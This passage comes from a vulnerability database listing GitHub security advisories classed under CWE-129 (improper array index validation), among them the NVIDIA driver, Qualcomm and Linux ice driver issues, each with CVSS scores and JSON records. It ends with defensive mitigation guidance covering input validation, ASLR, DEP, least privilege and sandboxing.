      "url": "https://git.kernel.org/stable/c/1723629fea8a4e75333196866e10d395463dca72"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/604f2d7c46727c5e24fc7faddc980bc1cc0b1011"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/bd2b6395671d823caa38d8e4d752de2448ae61e1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-89FR-QQGC-2XG5

Vulnerability from github – Published: 2026-09-30 18:33 – Updated: 2026-09-30 18:33
VLAI
Details

NVIDIA GPU Display Driver for Windows and Linux contains a vulnerability in the kernel mode layer where an attacker could cause an improper validation of an array index. A successful exploit of this vulnerability might lead to code execution, denial of service, escalation of privileges, information disclosure, and data tampering.

Severity
6.7 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-47525"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-30T16:17:18Z",
    "severity": "MODERATE"
  },
  "details": "NVIDIA GPU Display Driver for Windows and Linux contains a vulnerability in the kernel mode layer where an attacker could cause an improper validation of an array index. A successful exploit of this vulnerability might lead to code execution, denial of service, escalation of privileges, information disclosure, and data tampering.",
  "id": "GHSA-89fr-qqgc-2xg5",
  "modified": "2026-09-30T18:33:40Z",
  "published": "2026-09-30T18:33:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47525"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NVIDIA/product-security/tree/main/2026/5861"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47525"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-89VX-CXP7-MR48

Vulnerability from github – Published: 2023-10-03 06:30 – Updated: 2024-04-04 08:02
VLAI
Details

Memory Corruption in HLOS while importing a cryptographic key into KeyMaster Trusted Application.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-24850"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-03T06:15:23Z",
    "severity": "HIGH"
  },
  "details": "Memory Corruption in HLOS while importing a cryptographic key into KeyMaster Trusted Application.",
  "id": "GHSA-89vx-cxp7-mr48",
  "modified": "2024-04-04T08:02:34Z",
  "published": "2023-10-03T06:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24850"
    },
    {
      "type": "WEB",
      "url": "https://www.qualcomm.com/company/product-security/bulletins/october-2023-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8CXJ-W3CQ-8934

Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34
VLAI
Details

u'When a non standard SIP sigcomp message is received from the network, then there may be chances of using more UDVM cycle or memory overflow' in Snapdragon Auto, Snapdragon Compute, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Wearables in APQ8009, APQ8017, APQ8037, APQ8053, MDM9250, MDM9607, MDM9628, MDM9640, MDM9650, MSM8108, MSM8208, MSM8209, MSM8608, MSM8905, MSM8909, MSM8917, MSM8920, MSM8937, MSM8940, MSM8953, MSM8996AU, QCM4290, QCM6125, QCS410, QCS4290, QCS603, QCS605, QCS610, QCS6125, QM215, QSM8350, SA415M, SA6145P, SA6150P, SA6155P, SA8150P, SA8155, SA8155P, SA8195P, SC7180, SC8180X, SC8180X+SDX55, SC8180XP, SDA429W, SDA640, SDA660, SDA670, SDA845, SDA855, SDM1000, SDM429, SDM429W, SDM439, SDM450, SDM455, SDM630, SDM632, SDM636, SDM640, SDM660, SDM670, SDM710, SDM712, SDM845, SDM850, SDX24, SDX50M, SDX55, SDX55M, SM4125, SM4250, SM4250P, SM6115, SM6115P, SM6125, SM6150, SM6150P, SM6250, SM6250P, SM7125, SM7150, SM7150P, SM7250, SM7250P, SM8150, SM8150P, SM8350, SM8350P, SXR1120, SXR1130

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-3639"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-12T10:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "u\u0027When a non standard SIP sigcomp message is received from the network, then there may be chances of using more UDVM cycle or memory overflow\u0027 in Snapdragon Auto, Snapdragon Compute, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Wearables in APQ8009, APQ8017, APQ8037, APQ8053, MDM9250, MDM9607, MDM9628, MDM9640, MDM9650, MSM8108, MSM8208, MSM8209, MSM8608, MSM8905, MSM8909, MSM8917, MSM8920, MSM8937, MSM8940, MSM8953, MSM8996AU, QCM4290, QCM6125, QCS410, QCS4290, QCS603, QCS605, QCS610, QCS6125, QM215, QSM8350, SA415M, SA6145P, SA6150P, SA6155P, SA8150P, SA8155, SA8155P, SA8195P, SC7180, SC8180X, SC8180X+SDX55, SC8180XP, SDA429W, SDA640, SDA660, SDA670, SDA845, SDA855, SDM1000, SDM429, SDM429W, SDM439, SDM450, SDM455, SDM630, SDM632, SDM636, SDM640, SDM660, SDM670, SDM710, SDM712, SDM845, SDM850, SDX24, SDX50M, SDX55, SDX55M, SM4125, SM4250, SM4250P, SM6115, SM6115P, SM6125, SM6150, SM6150P, SM6250, SM6250P, SM7125, SM7150, SM7150P, SM7250, SM7250P, SM8150, SM8150P, SM8350, SM8350P, SXR1120, SXR1130",
  "id": "GHSA-8cxj-w3cq-8934",
  "modified": "2022-05-24T17:34:04Z",
  "published": "2022-05-24T17:34:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3639"
    },
    {
      "type": "WEB",
      "url": "https://www.qualcomm.com/company/product-security/bulletins/november-2020-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-8FH9-C4JQ-94H4

Vulnerability from github – Published: 2026-03-13 20:50 – Updated: 2026-03-13 20:50
VLAI
Summary
idunno.Bluesky, idunno.AtProto and idunno.AtProto.OAuthCallback Denial of Service Vulnerability
Details

idunno.Bluesky, idunno.AtProto and idunno.AtProto.OAuthCallback Denial of Service Vulnerability

Impact

The Microsoft.Bcl.Memory package, a transitive dependency of idunno.AtProto and idunno.AtProto.OAuthCallback had a Denial of Service security vulnerability, CVE-2026-26127

Patches

v1.7.0 updates the dependencies on Duende.IdentityModel.OidcClient and Duende.IdentityModel.OidcClient.Extensions which, in turn, updates their dependency on Microsoft.Bcl.Memory to 10.0.4, resolving the vulnerability.

Workarounds

No workarounds exist for this vulnerability.

How to fix the issue

To update your dependencies on idunno.Bluesky, idunno.AtProto and idunno.AtProto.OAuthCallback,

Using the .NET CLI (Command Line Interface):

  • Open a terminal or command prompt in your project's directory.

  • To update a specific package to its latest version, use the following add package command:

  • If you are using idunno.Bluesky dotnet package update idunno.Bluesky

  • If you are using idunno.AtProto as a direct dependency dotnet package update idunno.AtProto

  • If you are using idunno.AtProto.OAuthCallback as a direct dependency dotnet package update idunno.AtProto.OAuthCallback

Using the NuGet Package Manager Console in Visual Studio:

  • Open your project in Visual Studio.
  • Navigate to "Tools > NuGet Package Manager > Package Manager Console".

  • To update a specific package to its latest version, use the following Update-Package command:

  • If you are using idunno.Bluesky Update-Package -Id idunno.Bluesky

  • If you are using idunno.AtProto as a direct dependency Update-Package -Id idunno.AtProto

  • If you are using idunno.AtProto.OAuthCallback as a direct dependency Update-Package -Id idunno.AtProto.OAuthCallback

NuGet Package Manager UI in Visual Studio:

  • Open your project in Visual Studio.
  • Right-click on your project in Solution Explorer and select "Manage NuGet Packages..." or navigate to "Project > Manage NuGet Packages".
  • In the NuGet Package Manager window, select the "Updates" tab. This tab lists packages with available updates from your configured package sources.
  • Select the package(s) you wish to update. You can choose a specific version from the dropdown or update to the latest available version.
  • Click the "Update" button.

References

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "idunno.AtProto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "idunno.AtProto.OAuthCallback"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "idunno.Bluesky"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:50:22Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# idunno.Bluesky, idunno.AtProto and idunno.AtProto.OAuthCallback Denial of Service Vulnerability\n\n## Impact\n\nThe `Microsoft.Bcl.Memory` package, a transitive dependency of `idunno.AtProto` and `idunno.AtProto.OAuthCallback` had a Denial of Service security vulnerability, [CVE-2026-26127](https://github.com/dotnet/announcements/issues/384)\n\n## Patches\n\nv1.7.0 updates the dependencies on `Duende.IdentityModel.OidcClient` and `Duende.IdentityModel.OidcClient.Extensions` which, in turn, updates their dependency on `Microsoft.Bcl.Memory` to 10.0.4, resolving the vulnerability.\n\n## Workarounds\n\nNo workarounds exist for this vulnerability.\n\n## How to fix the issue\n\nTo update your dependencies on `idunno.Bluesky`, `idunno.AtProto` and `idunno.AtProto.OAuthCallback`, \n\n### Using the .NET CLI (Command Line Interface):\n\n* Open a terminal or command prompt in your project\u0027s directory.\n* To update a specific package to its latest version, use the following add package command:\n   \n  * If you are using `idunno.Bluesky`\n    `dotnet package update idunno.Bluesky`\n\n  * If you are using `idunno.AtProto` as a direct dependency\n    `dotnet package update idunno.AtProto`\n\n  * If you are using `idunno.AtProto.OAuthCallback` as a direct dependency\n    `dotnet package update idunno.AtProto.OAuthCallback`\n\n### Using the NuGet Package Manager Console in Visual Studio:\n\n* Open your project in Visual Studio.\n* Navigate to \"Tools \u003e NuGet Package Manager \u003e Package Manager Console\".\n* To update a specific package to its latest version, use the following Update-Package command:\n\n  * If you are using `idunno.Bluesky`\n    `Update-Package -Id idunno.Bluesky`\n\n  * If you are using `idunno.AtProto` as a direct dependency\n    `Update-Package -Id idunno.AtProto`\n\n  * If you are using `idunno.AtProto.OAuthCallback` as a direct dependency\n    `Update-Package -Id idunno.AtProto.OAuthCallback`\n\n### NuGet Package Manager UI in Visual Studio:\n\n* Open your project in Visual Studio.\n* Right-click on your project in Solution Explorer and select \"Manage NuGet Packages...\" or navigate to \"Project \u003e Manage NuGet Packages\".\n* In the NuGet Package Manager window, select the \"Updates\" tab. This tab lists packages with available updates from your configured package sources.\n* Select the package(s) you wish to update. You can choose a specific version from the dropdown or update to the latest available version.\n* Click the \"Update\" button.\n\n## References\n\n*  [Microsoft Security Advisory CVE-2026-26127 \u2013 .NET Denial of Service Vulnerability](https://github.com/dotnet/announcements/issues/384)\n*  [CVE-2026-26127](https://www.cve.org/CVERecord?id=CVE-2026-26127)",
  "id": "GHSA-8fh9-c4jq-94h4",
  "modified": "2026-03-13T20:50:22Z",
  "published": "2026-03-13T20:50:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/blowdart/idunno.Bluesky/security/advisories/GHSA-8fh9-c4jq-94h4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/announcements/issues/384"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/blowdart/idunno.Bluesky"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-26127"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "idunno.Bluesky, idunno.AtProto and idunno.AtProto.OAuthCallback Denial of Service Vulnerability"
}

GHSA-8FWG-C58H-9P76

Vulnerability from github – Published: 2022-04-19 00:00 – Updated: 2022-04-24 00:00
VLAI
Details

Multiple code execution vulnerabilities exists in the Nef polygon-parsing functionality of CGAL libcgal CGAL-5.1.1. A specially crafted malformed file can lead to an out-of-bounds read and type confusion, which could lead to code execution. An attacker can provide malicious input to trigger any of these vulnerabilities. An oob read vulnerability exists in Nef_S2/SNC_io_parser.h SNC_io_parser::read_sface() sfh->center_vertex().

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-35630"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125",
      "CWE-129"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-18T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple code execution vulnerabilities exists in the Nef polygon-parsing functionality of CGAL libcgal CGAL-5.1.1. A specially crafted malformed file can lead to an out-of-bounds read and type confusion, which could lead to code execution. An attacker can provide malicious input to trigger any of these vulnerabilities. An oob read vulnerability exists in Nef_S2/SNC_io_parser.h SNC_io_parser\u003cEW\u003e::read_sface() sfh-\u003ecenter_vertex().",
  "id": "GHSA-8fwg-c58h-9p76",
  "modified": "2022-04-24T00:00:29Z",
  "published": "2022-04-19T00:00:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35630"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/12/msg00011.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202305-34"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2020-1225"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8G8J-P6R7-XJ34

Vulnerability from github – Published: 2024-05-22 09:31 – Updated: 2024-08-08 18:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

ice: fix locking for Tx timestamp tracking flush

Commit 4dd0d5c33c3e ("ice: add lock around Tx timestamp tracker flush") added a lock around the Tx timestamp tracker flow which is used to cleanup any left over SKBs and prepare for device removal.

This lock is problematic because it is being held around a call to ice_clear_phy_tstamp. The clear function takes a mutex to send a PHY write command to firmware. This could lead to a deadlock if the mutex actually sleeps, and causes the following warning on a kernel with preemption debugging enabled:

[ 715.419426] BUG: sleeping function called from invalid context at kernel/locking/mutex.c:573 [ 715.427900] in_atomic(): 1, irqs_disabled(): 0, non_block: 0, pid: 3100, name: rmmod [ 715.435652] INFO: lockdep is turned off. [ 715.439591] Preemption disabled at: [ 715.439594] [<0000000000000000>] 0x0 [ 715.446678] CPU: 52 PID: 3100 Comm: rmmod Tainted: G W OE 5.15.0-rc4+ #42 bdd7ec3018e725f159ca0d372ce8c2c0e784891c [ 715.458058] Hardware name: Intel Corporation S2600STQ/S2600STQ, BIOS SE5C620.86B.02.01.0010.010620200716 01/06/2020 [ 715.468483] Call Trace: [ 715.470940] dump_stack_lvl+0x6a/0x9a [ 715.474613] ___might_sleep.cold+0x224/0x26a [ 715.478895] __mutex_lock+0xb3/0x1440 [ 715.482569] ? stack_depot_save+0x378/0x500 [ 715.486763] ? ice_sq_send_cmd+0x78/0x14c0 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d] [ 715.494979] ? kfree+0xc1/0x520 [ 715.498128] ? mutex_lock_io_nested+0x12a0/0x12a0 [ 715.502837] ? kasan_set_free_info+0x20/0x30 [ 715.507110] ? __kasan_slab_free+0x10b/0x140 [ 715.511385] ? slab_free_freelist_hook+0xc7/0x220 [ 715.516092] ? kfree+0xc1/0x520 [ 715.519235] ? ice_deinit_lag+0x16c/0x220 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d] [ 715.527359] ? ice_remove+0x1cf/0x6a0 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d] [ 715.535133] ? pci_device_remove+0xab/0x1d0 [ 715.539318] ? __device_release_driver+0x35b/0x690 [ 715.544110] ? driver_detach+0x214/0x2f0 [ 715.548035] ? bus_remove_driver+0x11d/0x2f0 [ 715.552309] ? pci_unregister_driver+0x26/0x250 [ 715.556840] ? ice_module_exit+0xc/0x2f [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d] [ 715.564799] ? __do_sys_delete_module.constprop.0+0x2d8/0x4e0 [ 715.570554] ? do_syscall_64+0x3b/0x90 [ 715.574303] ? entry_SYSCALL_64_after_hwframe+0x44/0xae [ 715.579529] ? start_flush_work+0x542/0x8f0 [ 715.583719] ? ice_sq_send_cmd+0x78/0x14c0 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d] [ 715.591923] ice_sq_send_cmd+0x78/0x14c0 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d] [ 715.599960] ? wait_for_completion_io+0x250/0x250 [ 715.604662] ? lock_acquire+0x196/0x200 [ 715.608504] ? do_raw_spin_trylock+0xa5/0x160 [ 715.612864] ice_sbq_rw_reg+0x1e6/0x2f0 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d] [ 715.620813] ? ice_reset+0x130/0x130 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d] [ 715.628497] ? __debug_check_no_obj_freed+0x1e8/0x3c0 [ 715.633550] ? trace_hardirqs_on+0x1c/0x130 [ 715.637748] ice_write_phy_reg_e810+0x70/0xf0 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d] [ 715.646220] ? do_raw_spin_trylock+0xa5/0x160 [ 715.650581] ? ice_ptp_release+0x910/0x910 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d] [ 715.658797] ? ice_ptp_release+0x255/0x910 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d] [ 715.667013] ice_clear_phy_tstamp+0x2c/0x110 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d] [ 715.675403] ice_ptp_release+0x408/0x910 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d] [ 715.683440] ice_remove+0x560/0x6a0 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d] [ 715.691037] ? _raw_spin_unlock_irqrestore+0x46/0x73 [ 715.696005] pci_device_remove+0xab/0x1d0 [ 715.700018] __device_release_driver+0x35b/0x690 [ 715.704637] driver_detach+0x214/0x2f0 [ 715.708389] bus_remove_driver+0x11d/0x2f0 [ 715.712489] pci_unregister_driver+0x26/0x250 [ 71 ---truncated---

Severity
7.1 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-47449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-22T07:15:10Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nice: fix locking for Tx timestamp tracking flush\n\nCommit 4dd0d5c33c3e (\"ice: add lock around Tx timestamp tracker flush\")\nadded a lock around the Tx timestamp tracker flow which is used to\ncleanup any left over SKBs and prepare for device removal.\n\nThis lock is problematic because it is being held around a call to\nice_clear_phy_tstamp. The clear function takes a mutex to send a PHY\nwrite command to firmware. This could lead to a deadlock if the mutex\nactually sleeps, and causes the following warning on a kernel with\npreemption debugging enabled:\n\n[  715.419426] BUG: sleeping function called from invalid context at kernel/locking/mutex.c:573\n[  715.427900] in_atomic(): 1, irqs_disabled(): 0, non_block: 0, pid: 3100, name: rmmod\n[  715.435652] INFO: lockdep is turned off.\n[  715.439591] Preemption disabled at:\n[  715.439594] [\u003c0000000000000000\u003e] 0x0\n[  715.446678] CPU: 52 PID: 3100 Comm: rmmod Tainted: G        W  OE     5.15.0-rc4+ #42 bdd7ec3018e725f159ca0d372ce8c2c0e784891c\n[  715.458058] Hardware name: Intel Corporation S2600STQ/S2600STQ, BIOS SE5C620.86B.02.01.0010.010620200716 01/06/2020\n[  715.468483] Call Trace:\n[  715.470940]  dump_stack_lvl+0x6a/0x9a\n[  715.474613]  ___might_sleep.cold+0x224/0x26a\n[  715.478895]  __mutex_lock+0xb3/0x1440\n[  715.482569]  ? stack_depot_save+0x378/0x500\n[  715.486763]  ? ice_sq_send_cmd+0x78/0x14c0 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d]\n[  715.494979]  ? kfree+0xc1/0x520\n[  715.498128]  ? mutex_lock_io_nested+0x12a0/0x12a0\n[  715.502837]  ? kasan_set_free_info+0x20/0x30\n[  715.507110]  ? __kasan_slab_free+0x10b/0x140\n[  715.511385]  ? slab_free_freelist_hook+0xc7/0x220\n[  715.516092]  ? kfree+0xc1/0x520\n[  715.519235]  ? ice_deinit_lag+0x16c/0x220 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d]\n[  715.527359]  ? ice_remove+0x1cf/0x6a0 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d]\n[  715.535133]  ? pci_device_remove+0xab/0x1d0\n[  715.539318]  ? __device_release_driver+0x35b/0x690\n[  715.544110]  ? driver_detach+0x214/0x2f0\n[  715.548035]  ? bus_remove_driver+0x11d/0x2f0\n[  715.552309]  ? pci_unregister_driver+0x26/0x250\n[  715.556840]  ? ice_module_exit+0xc/0x2f [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d]\n[  715.564799]  ? __do_sys_delete_module.constprop.0+0x2d8/0x4e0\n[  715.570554]  ? do_syscall_64+0x3b/0x90\n[  715.574303]  ? entry_SYSCALL_64_after_hwframe+0x44/0xae\n[  715.579529]  ? start_flush_work+0x542/0x8f0\n[  715.583719]  ? ice_sq_send_cmd+0x78/0x14c0 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d]\n[  715.591923]  ice_sq_send_cmd+0x78/0x14c0 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d]\n[  715.599960]  ? wait_for_completion_io+0x250/0x250\n[  715.604662]  ? lock_acquire+0x196/0x200\n[  715.608504]  ? do_raw_spin_trylock+0xa5/0x160\n[  715.612864]  ice_sbq_rw_reg+0x1e6/0x2f0 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d]\n[  715.620813]  ? ice_reset+0x130/0x130 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d]\n[  715.628497]  ? __debug_check_no_obj_freed+0x1e8/0x3c0\n[  715.633550]  ? trace_hardirqs_on+0x1c/0x130\n[  715.637748]  ice_write_phy_reg_e810+0x70/0xf0 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d]\n[  715.646220]  ? do_raw_spin_trylock+0xa5/0x160\n[  715.650581]  ? ice_ptp_release+0x910/0x910 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d]\n[  715.658797]  ? ice_ptp_release+0x255/0x910 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d]\n[  715.667013]  ice_clear_phy_tstamp+0x2c/0x110 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d]\n[  715.675403]  ice_ptp_release+0x408/0x910 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d]\n[  715.683440]  ice_remove+0x560/0x6a0 [ice 9a7e1ec00971c89ecd3fe0d4dc7da2b3786a421d]\n[  715.691037]  ? _raw_spin_unlock_irqrestore+0x46/0x73\n[  715.696005]  pci_device_remove+0xab/0x1d0\n[  715.700018]  __device_release_driver+0x35b/0x690\n[  715.704637]  driver_detach+0x214/0x2f0\n[  715.708389]  bus_remove_driver+0x11d/0x2f0\n[  715.712489]  pci_unregister_driver+0x26/0x250\n[  71\n---truncated---",
  "id": "GHSA-8g8j-p6r7-xj34",
  "modified": "2024-08-08T18:31:19Z",
  "published": "2024-05-22T09:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47449"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/4d4a223a86afe658cd878800f09458e8bb54415d"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/61616be899975404df44c20ab902464b60882cd7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-7
Architecture and Design

Strategy: Input Validation

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Mitigation MIT-15
Architecture and Design
  • For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
Mitigation MIT-3
Requirements

Strategy: Language Selection

  • Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, Ada allows the programmer to constrain the values of a variable and languages such as Java and Ruby will allow the programmer to handle exceptions when an out-of-bounds index is accessed.
Mitigation MIT-11
Operation Build and Compilation

Strategy: Environment Hardening

  • Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
  • Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
  • For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation MIT-12
Operation

Strategy: Environment Hardening

  • Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.
  • For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When accessing a user-controlled array index, use a stringent range of values that are within the target array. Make sure that you do not allow negative values to be used. That is, verify the minimum as well as the maximum of the range of acceptable values.
Mitigation MIT-35
Implementation

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
